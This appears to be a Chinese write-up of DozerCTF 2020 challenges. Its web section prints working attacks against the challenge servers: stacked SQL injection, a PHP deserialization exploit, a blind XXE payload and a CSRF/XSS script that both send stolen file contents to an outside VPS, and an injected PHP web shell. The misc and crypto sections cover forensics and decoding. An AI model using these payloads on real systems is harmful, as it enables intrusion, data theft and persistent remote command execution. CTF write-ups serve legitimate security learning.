0%

DozerCTF 2020

干啥啥不行,赛后read writeup第一名。

Web

sqli-labs

这道题是原题

首先提示url二次编码

1
?id=1%25%32%37

发现报错,然后尝试select和union都被过滤了,尝试堆叠注入。

查询所有数据库:

1
1';show databases;#

查询所有表:

1
1';show tables;#

查询words表中所有列:(注意要加上反引号)

1
1';show columns from `uziuzi`;#

第一种payload

1
http://118.31.11.216:30501/?id=-1%2527;set%20@sql%20=0x73656c6563742a66726f6d60757a69757a6960;prEpare%20stmt%20from%20@sql;EXECUTE%20stmt;%23

预处理查询数据库内容,这里直接拼接字符串没法执行,所以把字符串转16进制再执 行。

第二种payload

1
http://118.31.11.216:30501/?id=-1%2527;handler%20`uziuzi`%20open;handler%20`uziuzi`%20read%20first;%23

白给的反序列化

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}

function __destruct()
{
if (in_array($this->method, array("mysys"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}
return $str;
}

function __wakeup()
{
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;
if ($num > 2) {
die("No");
}
}
}
}
if ($_GET['path']) {
$path = @$_GET['path'];
unserialize($path);
} else {
highlight_file(__FILE__);
}
?>

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$o = new home("mysys",['flag.php']);
echo serialize($o);
?>

关于call_user_func_array详情参考:传送门

这里需要改一下payload,因为服务器的php版本是 php5.59,没法直接改成public绕过(php7.1+版本对属性类型不敏感),所以需要吧s改成S(这样能识别16进制的%00),把<0x00>替换为\00

payload

1
http://118.31.11.216:30600/?path=O:4:%22home%22:2:{S:12:%22\00home\00method%22;S:5:%22mysys%22;S:10:%22\00home\00args%22;a:1:{i:0;S:8:%22flag.php%22;}}

svgggggg!

题目的hint

  • 用户r1ck的操作记录在哪儿来着
  • 如果你发现了sql注入,直接getshell吧,flag在/app目录里

打开网页,有一个框要求输入URL,然后检查URL指向的file是不是svg图片

首先SVG是什么呢,SVG是基于XML的矢量图,可以支持Entity(实体)功能,这里未严格限制格式,因此造成blind xxe,ssrf打内网服务。

先写一个简单的SVG图片源码放在vps上

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fortiguard [
<!ENTITY lab "HELLO">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
</svg>

提交SVG图片源码地址发现实体成功显示

然后尝试读取文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fortiguard [
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
</svg>

页面虽然正常返回信息,但是并不能直接读到我们想要的东西

无回显,又是XXE,可以尝试一下XXE盲打,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。

构造1.svg

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fortiguard [
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % dtd SYSTEM "http://39.105.158.221:1234/1.dtd">
%dtd;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
</svg>

构造1.dtd

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://39.105.158.221:1234/?%file;'>"
>
%all;

注意这里使用伪协议读取源码,因为xml解析器支持使用php://filter进行编码。

这里需要vps上随便在一个文件夹上开启http服务,然后把1.svg合1.dtd丢进去即可。

1
python -m SimpleHTTPServer 1234

在网页提交1.svg的链接即可成功读取到.bash_history

1
2
cd /app
php -S 0.0.0.0:8080

然后利用SSRF打内网

查看源码

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">

发现sql注入,写入url编码后的一句话木马

1
http://127.0.0.1:8080/index.php?id=-1%27%20union%20select%201,%27%3C?php%20system($%5fGET%5bcmd%5d)%3b%3e%27%20into%20outfile%27/app/dashabi.php%27%23

读取文件

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">

读取flag

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">

fake phpminiadmin

开启nc监听

1
nc -lvvp 1234

然后在content处输入nc监听的链接

1
http://39.105.158.221:1234

下面的code原来的验证码,比如:substr(md5(?), 0, 6) = b1a0fd,这里的验证码就是?。

需要一个脚本来爆破,这里贴一下解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#encoding:utf-8
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()

keymd5 = '2ff56c' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6

def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
#print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break

list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool(100) # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

看到Referer: http://127.0.0.1//admin_shark.php

这是管理员的后台地址,访问提示登陆地点错误。

思路

  • 执行sql语句处利用hex可以进行xss
  • contact功能处可以csrf
  • 那我们可以将csrf的payload放在vps上,在contact处提交vps上payload的地址来触发xss读取后台源码。

用于CSRF的表单

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form name="exp" action="http://127.0.0.1/sql.php" method="POST">
<input type="hidden" name="sql" value="select 0x3c734372497074207372433d2f2f78732e73622f56346f383e3c2f7343526970543e" />
</form>
<script type="text/javascript">
document.exp.submit()
</script>
</body>
</html>

这个是放在XSS平台的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
if (xmlHttp.readyState == 4) {
code=escape(xmlHttp.responseText);
createXmlHttp();
url = "http://39.105.158.221:1215/re.php"; //这里是我们服务器接受的地址
cc = "htmlcode=" + code +"&filename=index.html";
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send(cc)
}
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
xmlHttp.send(null);

接收源码EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function js_unescape($str) {
$ret = '';
$len = strlen($str);
for ($i = 0;$i < $len;$i++) {
if ($str[$i] == '%' && $str[$i + 1] == 'u') {
$val = hexdec(substr($str, $i + 2, 4));
if ($val < 0x7f) $ret.= chr($val);
else if ($val < 0x800) $ret.= chr(0xc0 | ($val >> 6)) . chr(0x80 | ($val & 0x3f));
else $ret.= chr(0xe0 | ($val >> 12)) . chr(0x80 | (($val >> 6) & 0x3f)) . chr(0x80 | ($val & 0x3f));
$i+= 5;
} else if ($str[$i] == '%') {
$ret.= urldecode(substr($str, $i, 3));
$i+= 2;
} else $ret.= $str[$i];
}
return $ret;
}
$data = js_unescape($_POST['htmlcode']); //对获得源码js_unescape解码。
$filename = $_POST['filename'] . date("y-m-d-h-i-s") . ".html";
$myfile = fopen($filename, "w");
fwrite($myfile, $data);
fclose($myfile);
?>

然后在content处访问CSRF表单即可

image-20200616230446072

Misc

py吗?

题目是一张老外穿着python文化衫的图片。

修改正常高度恢复正常的crc32校验。

然后Stegsolve->Analyse->Data Extract

发现base64,解码即可得到flag。

夏日计划

下载下来是拖进010发现是一个RAR压缩文件,用360解压打开直接拖出来即可。发现secret.rar损坏,用WinRAR修复,打开发现四个文件。

1
2
3
4
secret-1
secret-2
secret-3
secret-4

这里看官方wp是伪加密修改这里。

image-20200616091015847

然后文件4合1

1
copy /b 1+2+3+4 new.txt

可以使用gnuplot转化图像,也可使用PIL

1
2
3
4
5
6
7
8
9
from PIL import Image
img = Image.new('RGB',(140,140),(0,0,0))

f = open('new.txt')
for line in f.readlines():
point = line.split()
img.putpixel((int(point[0]),int(point[1])),(255,255,255))
f.close()
img.show()

得到汉信码扫码可得flag。

upload

在wireshark里面导出Http对象列表,发现flag.jpg,改zip后缀

image-20200616104946314

然后crc32解密

1
python crc32.py reverse 0xCRC32

连起来即可得到flag。

easy_analysis

使用的是windows版

1
2
3
4
5
6
volatility.exe -f memory imageinfo #判断系统,猜测为 win7SP1X64
volatility.exe -f memory --profile=Win7SP1x64 pslist #查看进程
volatility.exe -f memory --profile=Win7SP1x64 cmdscan #查看命令行记录,发现flag 文件夹。
volatility.exe -f memory --profile=Win7SP1x64 filescan|findstr "flag" #尝试查找带 flag 的文件发现一个 analyse.zip 文件
volatility.exe -f memory --profile=Win7SP1x64 dumpfiles -Q 0x000000001e85f430 --dump-dir=outdir #导出文件,修改文件名
volatility.exe -f memory --profile=Win7SP1x64 hashdump #查看密码,使用md5解密解出密码AaBbCc123

使用密码解压usb流量包

usb流量分析:传送门

1
tshark -r usb.pcap -T fields -e usb.capdata | sed ‘/^\s*$/d’ > usbdata.txt

base64隐写:传送门

分离数据,breakautokey.py爆破,得到压缩包密码THISKEYBOARDSUCKSFORYOU,然后再base64隐写解开即可得到flag。

Crypto

真·签到

从文件提取出一段字符

1
R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo=

CyberChef网站

base64-base32-魔法棒即可得到flag。